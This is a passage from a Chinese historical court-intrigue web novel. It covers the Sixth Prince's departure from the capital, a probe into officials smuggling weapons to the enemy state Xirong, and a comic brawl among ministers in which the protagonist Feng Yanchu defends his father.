六皇子此刻竟然长叹一声,这让景和帝愈发好奇,“怎么好端端还叹上气了?”
“父皇,儿子认识一个人,以前只觉得他聪敏过人,但也就仅此而已。可前几日听了一番话,十分欣赏,却又有些愧疚。”六皇子忆起前几日之事,再加上这两天微服出访,观察百姓日常生活,深有感触。
“心里愈发觉得兵部和武官的问题确实不小,若为他们求情辩解,岂不是助长了歪风?又如何对得起戍守边关的将士,更何况他们本身就有错,儿子无颜求情!”
“嗯,都是些什么话,竟让你说出这些?”景和帝还是很欣慰的。毕竟在其他人都争权夺利之时,老六竟有不同的想法。虽不知说的是真是假,可起码有此心,便已是长进。
“原本不过是一次寻常的闲聊。谈论起为官之志时,他说自己当官不仅仅是为朝堂,还是为了让百姓老有所终,壮有所用,幼有所长,鳏寡孤独废疾者皆有所养。百姓有衣可穿,有食可裹腹!”六皇子说这话时,语气不急不缓。
景和帝心中了然,“你说的是封砚初吧?”
六皇子扯了扯嘴角,“正是他!他说这是做臣子的本分!京城距青州虽有千里,可沿途各州府这几年并未有大灾,但前两月武安侯府老太太在回青州祭祖的路上,竟然遇到数量不少的匪徒,他以此暗示儿子,希望引起重视。”
说到此处,他‘扑通’一声,跪在地上认错,“父皇,儿子羞愧难当。身为皇子,当时却假装没听懂!这是大晟的江山,儿子身为皇子,居然不如做臣子的关心百姓。而他却说这不过是作为臣子,应尽的本分罢了!
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可作为皇子,儿子竟然对底下的百姓视而不见!”
景和帝没想到老六经过封砚初这番话的点拨,竟有一些开悟的意思,这委实让他没想到,忍不住将儿子扶起来,“你先起来!”
六皇子抬头道:“父皇,您听儿子说完。您为了大晟宵衣旰食,夙夜匪懈。所以,儿子这几日除了上朝之外,还去过城南和城外,去看那些百姓如何生活的。没想到大受震撼,这还是在京城,那京城之外那些没看见的地方呢?”
景和帝再次扶六皇子起来,拍着对方的肩膀叹道:“儿啊,朕何尝不知?外头那些臣子在朕面前,说的比唱的都好听,其实为不过是为了达到各自的目的罢了!今日你能说出这番话来,证明你长大了!”
其实在他心里,这些儿子都一样,没有任何区别。不过今天他打算给老六一个机会,就看对方能不能抓住,若是不能那也是命!
思及此处,说道:“既然有此感悟,那便出京去看看,要用心去看,不能摆出皇子的谱!”
若是以前,六皇子必定犹豫。因为一旦出京,那就代表着他无法联系拉拢京中官员,让外人瞧了,只会觉得自己这是失宠被放弃。
但此刻,他神情认真,拱手郑重道:“臣遵旨!”
景和帝挥了挥手道:“你且回去吧,随后朕会下旨的!”不知何时,江荣海已经回来复命,正好见此一幕。
“你说朕这样做对不对?应该给他这个机会吗?”
之前每当此刻就沉默的江荣海,罕见的开口道:“陛下,无论如何,六皇子他姓沈。”
景和帝长舒一口气,“是啊,他是我的儿子,是大晟的皇子,不一样!朕何尝不知他比老大和老九强,和老五比起来也不会太过偏重文臣。罢了!一切看他的运道!”
第一百六十一章 我会向父皇求情的
当景和帝下旨后,果然掀起一阵风波。
所有人都猜测贵妃虽然因为责打六皇子,而被陛下禁足,但同时陛下也让对方离京。说好听的是游历山水,实则不过以另一种名义被贬。
‘枕松闲居’
明日就是离京之期,六皇子特意挑了官员下职后的时间上门。
开门的还是那个叫郑伟的小厮,这人明显已经知道了他的身份,连忙迎接。
走进院子,封三郎依旧在那里扎马步。只是在看到他之后,远远的见了一礼。而封砚初身上的绿色官袍已经换了下来了,此刻也上前相迎。
“臣,封砚初,拜见六殿下。”
他抬手道:“进去说吧。”
其实对于六皇子上门,封砚初十分困惑,刚坐下,便问道:“不知六殿下莅临寒舍所为何事?”
六皇子不是第一次来,也不等对面之人斟茶,就自顾自拿起茶壶为自己添上,“怎么?没事就不能来你这里?”
“自然不是。”封砚初觉得他与六皇子关系寻常,要不是因为之前救过对方,两人应该不会有太多交集。况且对方明日就要离京,按理来说此刻应该无暇过来才对。
“我明日就要离开京城了。”六皇子说着京中早就传遍的消息。
封砚初见对方如此直白,干脆举起茶杯道:“那恭喜六殿下了。”
六皇子哈哈笑着,“别人都觉得我这是失了势,被变相贬出京城,也就只有你来恭贺我!”
封砚初猜不出陛下的用意,但他并不觉得全是坏事,“也不算恭贺,只是觉得六殿下出京正好可以看一看外面的世界,了解京城之外,真是的大晟是什么样的。说起来,臣长这么大还从来没有离开过京城呢。”
听了这番话,六皇子认真道:“将来会有机会的。不过还要多谢你说的那番话,让我意识到大晟不仅仅只有皇室贵胄,世族百官,还有那数万万普通百姓!”
“那臣便恭贺六殿下了!”这一次的恭贺,封砚初是真心的,一个人能意识到这些并不难,难在意识到之后,还可以付出行动!不像有些人只是嘴上说的好听,实际确是行动上的矮子。
六皇子神色轻松,嘴角上扬,“明日就要走了,便想着离开之前来瞧瞧你。”其实他是想了一圈后,才发现自己竟然连个可以称得上朋友的人都没有,如今也就只有封砚初算是一个。
封砚初虽依旧不明白对方为何要来,但既然是来告别的,他也需郑重对待,举起茶杯说道:“那就祝六殿下一路上能够洞悉民情,熟知民情!”
六皇子亦高举茶杯,“借你吉言!”
离开‘枕松闲居’之前,封砚初拿了一些配好的药交给对方,“这些算是臣赠予六殿下的临别之礼吧!”
六皇子接过去,挑眉道:“这可是好东西!”随后带着护卫告辞。
话说五皇子最喜欢做这些表面功夫,所以在六皇子离京之日,还特意前来相送。
“唉,六弟,你也别气恼,放心,我会向父皇求情的。”五皇子自认说着,处处为对方考虑的话,表现出一副兄弟情深的模样。
六皇子清楚父皇如此打算,是为了让他多见一见京城之外的世界。此刻,他瞧着五皇子的所做所为,心中不禁想到了父皇。也许他们自认高明的伪装,在父皇眼中不过是可以轻易捅破的一层薄纸,显得那样幼稚。
“多谢五皇兄好意,不过不必了,我是心甘情愿的!”他嘴角含笑,望向与京城相反的方向,眼神里满是期盼,几乎是有些迫不及待的想去看一看。
可落入五皇子眼中,却觉得对方的笑,不过是为了掩饰此刻的失败罢了,心中愈发得意,“唉,我知
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道你故意说的这般轻松,是为了安父皇的心,等父皇气消了自然可以回来,别气馁。”
此刻,在五皇子心里,老大与贵妃禁足,老六被逐出京城,就证明他们倒了败了,以后的对手只有黎皇后和九皇子!扳倒这些人,储位便只能是他的!
六皇子依旧笑着,不过心里略微有些失望,不为五皇子,而是因为封砚初,毕竟从那日起,在他心里真正当对方是朋友,显而易见,对方并不认为。
“五皇兄,再见!”他不想继续陪五皇子演下去了,说完告辞之语,便上了马车潇洒离去。
五皇子并未生气,他觉得老六这是故作姿态逞强,不过为了朝皇宫之内的人表现,还是扬手道:“去吧,一路小心!记得来信!”这话说的仿佛两人关系多好似的。
勤政殿。
景和帝估算着时间,问道:“老六走了没?”
江荣海沉声道:“回陛下,想必六殿下已经离开了,不过五殿下去送了送。”
“其余人没去吗?”
“未曾见到。”
景和帝何尝不知老五之所以前去相送,不过是觉得老六已经不是对手了,也愿意对外表演出一番兄弟情深的戏码。老五还愿意装一装,可其他人连面都没露,这就是皇家的凉薄。
“嗯,朕知道了!让刑部尚书,大理寺卿,左都御史他们进来!”
陛下对兵部尚书与攻防营统领牵涉之案十分关注,如今已经审查到了关键节点,他们特意前来禀报。
“陛下宣三位大人觐见。”江荣海亲自将几人领进去。
殿外。
天空先是一道闪电,紧接着便是‘轰隆’的雷鸣。
当下已经是深秋,竟然出现电闪雷鸣,原本晴朗的天空也变得阴沉沉,竟是风雨欲来之感!随着雨珠落下,雨势越来越大,风雨已至!
第一百六十二章 债多了不愁
大郎封砚开的亲事定下来了,是太仆寺卿许时清的次女,大娘子刚好带着媒人上门提亲回来。
半夏立即捧上热姜茶,又重新拿衣裳给对方换了,还吩咐底下的人将火炉烧起来。
大娘子眉心微蹙,今日确实徒增事端,抱怨着,“''提亲时去还好好的,可眼见着要回来了,竟然好端端的下起雨来。幸而东西没有淋湿,否则岂不是不吉利。”
半夏将锦面红狐皮的褥子,为大娘子披在腿上的同时,嘴里还回应着:“是啊,这雨来的蹊跷,原本还晴着,大家都在外头呢,谁知电闪雷鸣的突然下起雨来,很多人来不及躲,身上都湿了呢。”
“要是都生病了可怎么好?吩咐下去,熬些姜汤驱寒。”大娘子担心生病人太多,一则耽搁事情,二则扩大传染。
半夏听后笑道:“您就别管啦,还是多歇一歇。您离开没多久二郎君就回来了,见大家淋了雨,便已吩咐厨房熬好姜汤,分与众人。”
“二郎回来啦?”不怪大娘子疑惑,实则是封砚初回来的并不多。
半夏脸上挂着笑,“是啊,一回来就去书房与侯爷商议事情,老太太还说让中午去她那里用饭呢。”
书房内。
屋外雷电之声早已消散,可雨依旧未停,封砚初临窗而坐,凝神观雨。
封简宁见状道:“将窗关上吧,秋雨寒凉,小心染了风寒。”
“儿子穿的厚实,身体康健,不惧外头的风雨。”封砚初似乎是回答了,又似是意有所指,“兵部尚书姚城和攻防营统领柳逐川已经下了大狱,而且此次牵扯甚广,儿子即使身处翰林院,但大家也是纷纷扰扰的议论。”
自从次子回来之后,封简宁的眉头就没松开过,他也清楚对方这是担心自己也被牵扯进去,“是啊,牵扯甚广,黎大人和皇后娘娘也没想到,陛下这次下手会这么狠,就连五皇子那边也有官员牵扯进去。”
“想来是陛下不想给这些人留时间打点疏通,空下这么多位置,想必不久之后又是一番争夺。至于军中的空缺嘛……自然是能者居之,更何况,明年武试科考后还会有人员补充。”说话间,封砚初抬起手,用指尖接住雨滴,以内力凝聚隔窗射出,虽受阻力,但不远处的秋菊应声而断,花朵掉在地上任由雨水击打。
“是啊,眼见要出现这么多空缺,皇后已经暗示黎大人安插自己人,吏部至关重要,尤其今年的吏部官员考评就要开始了。虽说主要位置由陛下定夺,可其余的也很重要,信国公已经暗示为父了,且承诺了吏部侍郎的位置。”封简宁说话期间将名单递给儿子。
封砚初接过大致一瞧,还未细纠,便看出这里头就有三人不妥,随即指着其中一人道:“这样的人若是给个上等的考评,岂不是笑话?只是父亲心里是如何想的?”
封简宁叹气道:“在这个关键时期,为父自然不会失去底线如实照做,可终究已深陷其中。”
封砚初略松了口气,指着名单上的人名道:“那就好,这些人虽说官位不高,但信国公未必不是包藏祸心!西戎虎视眈眈,大晟内忧外患。瞧陛下这几个动作,清查兵部和攻防营后,肯定要处理更换京中的武官,接下来必定是户部!父亲,四叔那边?”
封简宁摇头无奈道:“进了那个地方,哪里有干净的?他虽说未明显倒向谁,也是债多了不愁,但别人也不敢轻易动他?否则平安还则罢了,若将来事发,那整个官场都会震荡!他想以此保全儿子和封氏一族!”
父亲虽未明说,但封砚初已经有了猜测,四叔手上的东西就是个惊天巨雷,让其余人不得不保他,否则大家一起完蛋!“那父亲除了青州徐家之外,可还有别的实证?”
对于儿子的问话,封简宁并未回答,只拍着对方的肩膀道:“住在广林巷要照顾好自己!你与为父不同,有能力,且文武双全,在陛下那里是挂了名的,早晚有一日比我强!”
说到这里,又嘱咐了一句看似无关的话,“对了,你和孙延年一向交好,他虽去了北边,与你有千里之隔,但也要时时通信关心。”
“是,父亲。”封砚初虽心里疑惑这突如其来的叮嘱,但还是应了声。
这些事他自然知道,可父亲为何要这么问?难道是北边的边贸出了什么问题?或者边关有什么需要关注的?
说话间,午时已至,老太太那里派人来请。当父子二人到达后,其余人都来了。
老太太见两人姗姗来迟,脸上带笑,故意抱怨着,“大家早就在等,偏你们俩来的最晚。”
封简宁没有心情说笑,只是拱手行礼。
封砚初却应道:“让祖母久候了,是孙儿不好,与父亲谈事没注意时间。”
然后又看见大郎脸上不自然,虽已猜出原因,但还是故意问,“你们方才在说什么?我怎么瞧着大哥神色不对?”
婶娘温氏笑着解释,“我们谈论大郎成亲的事呢,他被说的有些不自在。”
其实大郎封砚开几乎是掐着点来的,没想到还是早了一会。本来没什么,可恰逢大娘子去许家提亲,大家都来凑热闹。
一顿午饭,就这么热热闹闹的吃完之后,众人都散去,唯独留下封简宁。
“我方才瞧你不自在,朝堂的事我也不懂。这是你表哥拿来的,说是他儿子不方便上门,让我交给你。”老太太说话时,拿出一个盒子。
封简宁打开一瞧,心中顿时惊呼,“这……这……”
老太太神情严肃,“信国公通过徐家的商路,已经将手伸到了西戎!淮序也只是无意中发现这些佐证,可凭这一点千丝万缕的关系,根本没有。他本就心细,又知道你与信国公之间早有嫌隙,估计是察觉出什么,这才将它给你,以待来日。”
封简宁点头道:“确实,即使拿此举证,不仅不会伤及信国公丝毫,还会让他警觉。到时候,旁人只会觉得这是诬陷,陛下也不会处置,毕竟徐家是商人!”
第一百六十三章 真是内忧外患啊
封砚初并未多留,用完饭就准备回‘枕松闲居’,没想到半道上遇见了谢鹤川,随后两人在街边找了一家茶馆暂坐。
“今日休沐,下这么大的雨,你不在家里待着,怎么在外头?”封砚初好奇的问。
谢鹤川并未着急回答,而是先喝了一口热茶,最后长舒一口气,说道:“可算缓过来了。唉,这么大的雨,谁愿意冒雨在外头,还不是各地到了秋汛期,工部负责整个大晟的水利营造事物。这不,像我这种入部学习的,自然要勤勉些。不过,我瞧你这样是回去了?”
封砚初点头道:“嗯,回去之时还没下雨,谁知竟打起了秋雷,也不知这雨还要下几天。”
“若是再继续下的话,那可糟了。”窗外的雨没有要停的意思,谢鹤川担忧不已,随后又补充道:“我家地势低,担心会进水。”
“京城的排水还是不错的,只要护城河不涨水,城内就不会发生内涝。”封砚初好像没有听出对方那欲盖弥彰之语,反而认真回答着。
就在此刻,窗外突然传来一阵马蹄声,众人纷纷疑惑下这么大的雨,究竟是谁如此着急?
封砚初也被这声音引的伸头去瞧。只见一个穿着玄麟卫官服,身披蓑衣之人骑着马,匆匆朝城门的方向而去,身后还跟着几个玄麟卫。
还未等他开口,谢鹤川脱口而出,“娄遥!”显然对方认出来了。
此刻楼下也有声音传来,并且问出了封砚初想说的话,“这不是玄麟卫副指挥使娄遥吗?看他这样子是要出城啊!”其余人也开始讨论起来。
“玄麟卫可是陛下的亲信!”
“是呀,这么着急难道出了什么事?”
“这谁知道呢,许是有谁要倒霉了呗!”
封砚初心中若有所思,重新坐了回去,“你倒是眼尖,确实是娄遥,看他如此匆忙,许是陛下又吩咐了什么事吧,毕竟最近兵部和攻防营很热闹。”
谢鹤川听了这话,一时之间心情竟有些复杂,“管他呢,我一个小小的入部学习之人,这些离我太远。”之后两人又闲聊了几句,便各自告辞。
封砚初刚进‘枕松闲居’,郑伟就赶紧禀报,“郎君,陈泽文陈大郎君来了,正在书房等着,好在有三郎君作陪呢。”
当他走入书房,竟然看见三郎与陈泽文两人正安静的看书!他都有些怀疑自己的眼睛,陈泽文也就算了,三郎什么时候爱上读书了?
随后清了清嗓子,道:“难得啊,你们居然在看书?”
三郎见到他,明显语气都轻松好多,“二哥,你回来啦!你朋友来看你,那我就不多打扰了!”说罢,身后仿佛有人在追似的飞速离开。
陈泽文等人出去后,才放下手中的书,四处打量着,“以前从未进来过,没想到你这书房竟有这么多藏书!”
“我常住在这里,便将府里自己要用的书都带来了。”说话间,封砚初将人引入经常待客的屋子。
又让雪香重新上茶水点心,“虽说休沐,但下这么大的雨,你怎么想着今日过来?”
陈泽文并未喝茶,反而拿起一块点心吃起来,“唉,还不是烦的!你也知道陛下举办秋猎的用意,再加上最近三司会审兵部尚书和攻防营统领,一下子牵扯出很多人,可以称得上人人自危。”
“我呢,认识很多狐朋狗友,他们人虽尚可,可这能力就有些寻常。毕竟我母亲是平昭公主,如今出了这事,都找各种理由见我,这不干脆来找你,谁知你竟然回武安侯府了,害我等你好半天。”
封砚初才与谢鹤川在茶馆短聚,此刻并不想喝茶,他将茶盏放到一旁,问道:“他们找你?那你母亲和父亲呢?”
陈泽文听了这话,心中愈发觉得父母这是在为难自己,“我父亲躲着不见人,就连我母亲都称病不出,这不,全都来找我了!”他不想提起这烦心事,换了一个话题:“二郎,陛下明年要举办武试科考,你说我参加一下怎么样?”
封砚初就是那种不爱考试的人,他觉得只要自己有能力即可,“为何会有这样的想法,陛下不是已经对你考教过了吗?再说何必多此一举。”
陈泽文叹道:“唉,你不懂,陛下虽说考教过,可我毕竟没参加京西武备营的考核。所以还是有声音说,我虽有些功夫在身,其实寻常的紧,陛下估计是碍于我母亲的面子才手软的!你是知道那些人的,谁的小话不敢讲?”
“你自己决定吧!”封砚初很清楚,陈泽文既然说出来,那就证明已生此心。
“也好,陛下最近烦心,等过段时间,我再和他说。”陈泽文说到这里看了看四周,压低声音道:“你知道吗?因为安南将军打了几场胜仗,惩戒了西戎,所以那边发来奏表,说今年派使臣来大晟商谈边贸之事!”
封砚初一听这话,不禁心生忧虑,“在这个关口?在陛下清查武将之时?”其实他更担心内部有官员出卖大晟利益。
“陛下已经同意了!若是拒绝,不仅会让周边个藩属国猜忌大晟是否真的有事,还会生出不臣之心!问题是不仅西戎,还有安怀部,南陌,久光,苍南等二十七国!”
“若是无法震慑西戎,那么其余各藩属国必定跟着生乱!到那时大晟真是内忧外患啊!”封砚初只觉得心酸,外敌虎视眈眈,好些人仿佛都瞧不见似的。
此刻,无论是封砚初还是陈泽文都清楚此事至关重要,可朝中诸公争权夺利,都忙着内斗!
第一百六十四章 不过是觉得法不责众
不过两日,玄麟卫副指挥使娄遥就回来了,同时还押着三个人,是安州驻军将军古湛!安州知府石言!知州刘仲海!
安州临近京城,可以称得上是门户,而且还是南边商路前往北边的必经之路!这几人被带回京城问罪,只能说明问题不小。
事情也如众人猜测的一般,景和帝气急了,连带着皇子与大臣都被骂了,可能真的应了那句远香近臭吧。
两天前。
景和帝才见完三司之人,就听说玄麟卫副指挥使顾泽求见。
“属下参见陛下!”顾泽从北边回来了,也带回一个惊天巨雷。
“这趟西戎之行如何?”这是景和帝目前最想知道的。
“这是此次西行密录,请陛下御览!”顾泽神情肃穆。
这让景和帝心里不禁咯噔一下,快速拿起来看,他看完后,心中只觉得怒火中烧!“放肆!真是放肆!”
“陛下息怒!”其实顾泽当初也被查到的东西吓了一跳,他没想到竟然有人里通外敌,将大晟军中之物倒卖至西戎。
“哼,怪不得那般急切的想开放边贸,就连朝中也有人支持,感情是朕阻挡了这些人的财路啊!”其实这才是让景和帝更生气的地方。
开放边贸本来是想着是让百姓的日子好过一些,朝中增加税收,可现下看来已经有不少官员搅和进去了,为了利益更是毫无底线,出卖大晟。
“给娄遥传旨!速去将安州驻军将军古湛,知府石言,知州刘仲海捉拿回京!”
景和帝如何不想迅速整治,可到了这个时候,即使他是皇帝也不能大动干戈,否则朝堂震动,适得其反,但他仍旧有心再次试探朝臣。
次日,早朝。
让景和帝没想到的是朝中居然有不少人为这三人求情。此刻,他这才算真正的感受到了危机,他已经不相信这些人了。
“陛下,安州知府石言为人勤恳,更是治理地方的好手,安州百姓生活富足,如此贸然缉拿恐怕会引起百姓不安。”信国公直接上前求情。
五皇子的舅舅曲如梅也上前谏言,“陛下,安州位置重要,安州驻军将军古湛劳苦功高……”
还未等众人说完,景和帝就已经气的猛拍桌子,他没想到有朝一日,五皇子和九皇子还能联合起来!
气的骂道:“不如朕下来,这个皇位换你们来坐?”
“臣等死罪,还请陛下息怒!”所有人齐声道。
景和帝看向台下之人讥讽,“要不老五你上来吧!”
五皇子吓得赶紧跪在地上,“请陛下恕罪,臣绝无此心!”其实边贸对他而言十分重要,经营势力需要不少钱,就皇子的那点俸禄怎么可能够!
“还是说不如让老九来坐?”
黎皇后的父亲黎之堂亦赶紧请罪,“九皇子并无此心。”
也是九皇子太过年幼,一切都需要皇后与他筹谋,所以徐家的一些事情他是知道的,且还参与了分成。
他们这么干,不过是觉得法不责众,很多多人都有利益牵扯,陛下也拿他们没办法!
安槐序站出来说道:“陛下,原本开放边贸是好事。可如今有人为一己私利,危害大晟,甚至于里通外敌,此风不可长,还请陛下严惩!”
申大人先是用锐利的目光扫视了一圈众人,才说道:“陛下,攘外必先安内,只有肃清疾患,才能致使大晟立于不败之地,若任由发展便是大祸!”
信国公站出来回击道:“陛下,申大人乃是危言耸听,这几年边贸开放,致使百姓富足,朝廷也有了税收,只需严加看管即可。”
申大人看向信国公的眼神几乎要杀人了。他紧盯对方,却朝景和帝拱手道:“陛下!乾朝之时,安怀国与如今的西戎何其相似!可最后的结果呢!安怀国侵吞周边诸国和部族,以至于成了大患!最后乾朝灭国!若非太宗皇帝力挽狂澜,只怕国土早被异族侵占!”
此刻无论是首辅申大人、兵部侍郎安槐序,亦或是那些真正为了大晟的官员。面对这个情况能做的也只有极力反抗,支持陛下。
站在队伍中的武安侯封简宁,觉得这是一次机会,咬咬牙,站出来说道:“陛下,想来信国公有此一语,也是为家族着想,毕竟青州徐家乃是商户。只是在家国大义面前,还请信国公莫要为了私利损害大晟!”
这几乎是诛心之言。信国公对外一贯表露出,他与青州徐家毫无关系往来。此刻直接被戳穿,无论对外如何表现,也逃不脱你们都姓徐,拜的是一个祖宗的事实!
信国公看向武安侯的眼神几乎快要冒火了,他不过是小小的使了个绊子,武安侯竟如此不管不顾。
果然,此言一出,立即有官员说话。
邢勉直接说道:“信国公,朝堂之上说的都是国家大事,不是你徐家的私堂,难道你徐家的利益比大晟还重要?”
唐承也站出说道:“陛下,此刻虽然看起来纷乱,实际与目前所查之案都有牵连,臣肯请并案调查!”
刑部尚书也说道:“陛下,经过这些时日调查倒卖兵器一案,牵扯出有人利用边贸,将军中兵器走私西戎,其中还有大量的铁器,这些不仅牵扯一些官员,更有商人也掺和其中!”
左都御史拱手谏言:“臣肯定陛下,允许臣等并案调查!”
景和帝见目的已经达到,“准!”随着这一声令下,有人只觉得胆寒。
而三司却期盼着安州这三人抓回来之后,肯定能从他们身上查出更多的东西!
第一百六十五章 外头打起来了
封砚初自从入了翰林院,才发现要学习的东西很多。这天他还在废寝忘食之际,侍读张望匆匆进来。
“封大人!封大人!”
封砚初见对方着急忙慌的样子,抬头疑惑道:“张大人,有何要事?”
张望一把夺过手上的笔放在桌上,拉着他就要走,“哎呀,我的封大人唉,你怎么还坐的住?外头打起来了!”可眼前之人练过武,张望哪里拉的动。
“打起来了?”封砚初虽好奇,但正写到紧要关口,实在不舍得中断,压下好奇之心,重新捡起笔,道:“打起来就打起来呗,且让我写完再说。”
张望焦急道:“今日朝堂上发生了大事,那些个大人们才出了宫门就打起来了,听说里头有你父亲!”
“什么!”封砚初来不及多说,赶紧出门牵了马,朝宫门的方向狂奔而去。
“刚才还那么淡定,一听武安侯就着急了!”张望只来得及看到对方的衣角。
当封砚初到达现场之时,可谓是震惊不已,一群大臣在打群架!他以前可只在史书上见过,没想到此刻竟然还能看得着现场直播!
“武安侯!你刚才朝上说那话什么意思!”信国公气炸了,他硬生生忍着出了宫门才揪着对方骂。
武安侯不甘示弱道:“什么意思?没什么意思,不过实话实说罢了!”
信国公已经顾不得体面,破口大骂,“实话实说个屁!满嘴胡言!”
“我若是胡说,你着急跳脚做什么?”武安侯觉得现在是摆脱信国公的好时机。
五皇子在这里头扮演的角色他心知肚明,未免将整个武安侯府拖下泥潭,是时候让陛下看见他作为臣子,在大义面前对大晟的忠心。
一旁还有大臣劝着,“都是朝臣,难免会有分歧,大家都是各抒己见而已,信国公切勿动怒,武安侯,你也退一步。”
武安侯气愤不已,“我还退!再退就要被逼得跳河了!”
信国公气的举起笏板就要打,嘴里还骂着,“我打死你这个挑拨的小人!”
武安侯一个不防备挨了一下,官帽也歪了,便不管不顾起来,扬起笏板回击,有人见状赶紧上前拉架,也有人趁机加入其中,场面顿时乱做一团!
安槐序觉得这是他们自己内讧,本不想管,但毕竟是姻亲,又见此处距离翰林院很近,赶紧让人去叫武安侯的状元儿子!
所以当封砚初赶来之时,早已不是父亲与信国公之间打斗了,而是变成了一场混战!
武安侯被打的不轻,见儿子来了,立即挥手示意,并指着信国公道:“快来帮为父,就是这个老匹夫打的!”
封砚初本想将父亲从人群中拉出来,没想到外头挤了一圈人根本进不去。要不是躲得快,他没准还要挨两下,当下气的不轻!
直接将外围之人扔了出去,好容易到跟前,眼见信国公的笏板就要打在父亲的头上,直接一掌将人拍倒在地,顺势拽着父亲,一个飞身离开是非之地。
封简宁兴奋的看向次子道:“儿子好样的!”
封砚初见父亲身上穿着沾满泥土的官服,脸上被打出了瘀血,就连官帽也不翼而飞,十分狼狈。
他上下打量一番后,不由担心道:“父亲,您身上怎么样?有没有被打伤?”
就在此时,不知谁发出了一声“哎呀!”,他回头看去,原来信国公不知什么时候,已经被人扶了出来。
只见对方先是吐出一颗带血的牙,正欲抬手指着封砚初大骂,紧接着又是一声,“哎呀,断了!我的胳膊断了!”
随后怒目而视,“好你个封砚初!竟敢将老夫殴伤,老夫要告你!”
封砚初冷哼一声道:“信国公,下官敬你年长,但你也不要胡说八道!分明是方才乱做一团,不知是谁打的你,如今却赖在我头上!好没道理!再说我父亲挨了你好几下,这会儿浑身疼痛。”
封简宁见状也哎哟起来,“儿啊,为父不仅头痛,浑身也疼,莫不是信国公将为父打出什么毛病了吧!”
“无耻之尤!你竟还倒打一耙!”信国公觉得今日就是他的劫难,气的心慌!
邢勉早就看不惯信国公,直言道:“我说信国公,你可以了!要不是你非要在门口纠缠,率先对人动手,也不至于闹成现在这样!”
就在此时,申大人与景和帝谈完事情从宫内出来,见此一幕,沉声呵斥道:“还不住手!诸位都是朝臣,竟然光天化日之下打架!”其余还在打的官员听见这声,立即停手散开。
封砚初这才发现地上掉了七八顶官帽,他上前随意挑了个好的,给父亲试了试,竟刚刚好!
“陛下口谕!”随着这个声音响起,众人这才发现原来是江荣海来了。
在场所有人拱手行礼道:“臣等接旨。”
“陛下口谕,凡参加此次斗殴者减两月俸禄,若有下次必定重罚,至于受伤者赶紧回去治伤,希望诸位大人以此为戒!勿要再犯!”
“臣等领旨谢恩!”
江荣海说完这些便走了,只留下一群灰头土脸的官员。说来这些人也是奇怪,方才还打的热火朝天,这会子竟然纷纷互相行礼告辞。
就在封砚初准备扶着父亲离开之时,邢勉看向他,说了句,“状元郎,功夫不错!”
他回礼道:“将军谬赞,不过是用来强身健体的庄稼把式而已。”
邢勉只笑了笑并未说话,挥手让人离开,他方才已经瞧出来,封砚初使得好像是封家长枪的身法。
父亲受了伤,封砚初怎有心思继续上职,着人去翰林院告假,将父亲扶回去了。
第一百六十六章 他就是故意的!
封砚初扶着父亲的胳膊刚下马车,门子上的人就赶紧上前来迎。他们只见侯爷鼻青脸肿的,顿时吓了一跳,赶紧让人进去禀报。
老太太本来与大娘子正商议着,给许家下定的事情。忽然就瞧见青梅神色慌张的进来,脸上虽未显现,但心里已升不悦,“这会子正忙着呢,外头是有鬼呢,谎成这样?”
青梅又怎会察觉不到,只是事情紧急顾不得,“老太太息怒,并非奴婢莽撞。实在是方才门子上传话进来,说侯爷不知被谁打的鼻青脸肿,现下二郎君将人扶回来了!”
“什么!”这话不仅吓到了老太太,就连大娘子也一样。
大娘子忙站起身问道:“侯爷好端端的上朝去了,谁会打他?”
老太太焦急不已,心里琢磨着,青梅估计知道的也不清楚,连忙催促着:“哎呀,她哪里知道,你快随我去看看吧!赶紧叫孙大夫去!”说罢由竹溪扶着,一行人呼啦啦的前去探望。
封砚初早就检查了,发现父亲只是皮外伤,并不要紧。他先将父亲扶回房间,又着人换了衣裳,擦洗干净之后,这才让人去叫孙大夫。
而孙大夫检查完留了药刚走,老太太与大娘子就来了,封简宁见状有些不好意思。
还是封砚初起身行礼,“祖母,母亲。”
老太太上前几步先是看了看儿子,然后问道:“你父亲如何?”
“些许皮外伤,不要紧,养一养就好了。”封砚初说道。
老太太见孙子神色如常,这才放心下来。因顾及到儿子的脸面,坐在离床最近的圆凳上之后,便挥手让下人都出去,问道:“你不是上朝去了吗?是谁把你打成这样?”
封简宁这才说:“让母亲担心了。这委实不怪儿子,不过是上朝之时说了几句真话,没想到信国公竟然那般无耻,刚出宫门就将儿子拦着,不过是与他骂了几句,仗着官阶高于儿子,抬手就要打。”
大娘子震惊道:“难道没人拦着吗?”
“还拦什么呀。一开始确实有人拉架,可后来全都开始动手打起来了!幸亏二郎来的及时,那老……信国公也没占得便宜,不仅掉了一颗牙,胳膊也折了!”毕竟是女眷,封简宁也不好开口骂,硬生生改了。不过,他一想到这事,心里只觉痛快。
老太太就想的比较多,她担忧道:“你竟还动手打信国公?”
封砚初与父亲想的一样,觉得这次未免不是一个机会,“孙儿好容易挤进去,本想将父亲拽出来便罢了。谁知抬眼便看到信国公扬起笏板,就要砸父亲的头。这才没忍住,随手一掌将人拍在地上,谁知他竟然那般脆弱。”好吧,他就是故意的!
老太太用指头点着孙儿的额头,“你啊!报复心还是那么重!”她至今还记得孙儿幼时,暗戳戳的利用自己报复儿子的事。
不过心中的忧虑并未消减,便开口问儿子,“如此,信国公算是得罪的狠了,若是他报复你可怎么办?”
未等父亲张嘴,封砚初便解释着:“祖母,您不用担心,朝中有人勾结西戎,倒卖兵器,走私铁器。信国公还是先想想这次能不能脱身,若真拔出萝卜带出泥,别说信国公府,就是整个徐氏一族保不保得住还两说!再说若是错过这次机会,只怕武安侯府也会被对方牵连,深陷泥潭!”
老太太听后长舒一口气,点头道:“如此,还不如及时扯手!”
与其他人不同,大娘子却担心的却是其他事情,“可敏儿还在信国公府呢!”
“母亲不用担心,儿子已有打算。”与父亲不同,封砚初在得知这件事之后,心中便已有计划。
他嘴角扯出一抹冷笑,“徐三郎本不配为人,奈何之前信国公势大,竟让外人都觉得他对先夫人情深意笃,面对品行如此恶劣之人,大家自然有资格知道真相!”
“可怜咱们武安侯府一直被隐瞒,丝毫不知姐姐在信国公府过着犹如地狱般的日子,咱们当然要将人接回,且令两人和离!”连带着后续发展,他也一并说了。
封简宁继续道:“三司有了为父的提醒,自然会疑心调查。现下又有了徐三郎这个缺口,大家都的目光都会关注信国公府,墙倒众人推,只是时间而已。”他说到此处不禁担忧,“可如此一来就得罪了皇后。”
“父亲,大晟已经到了关键时刻,无论是黎皇后还是五皇子,双方都只知道争权夺利,仗着法不责众,觉得陛下不会处置,或者只会轻罚!”
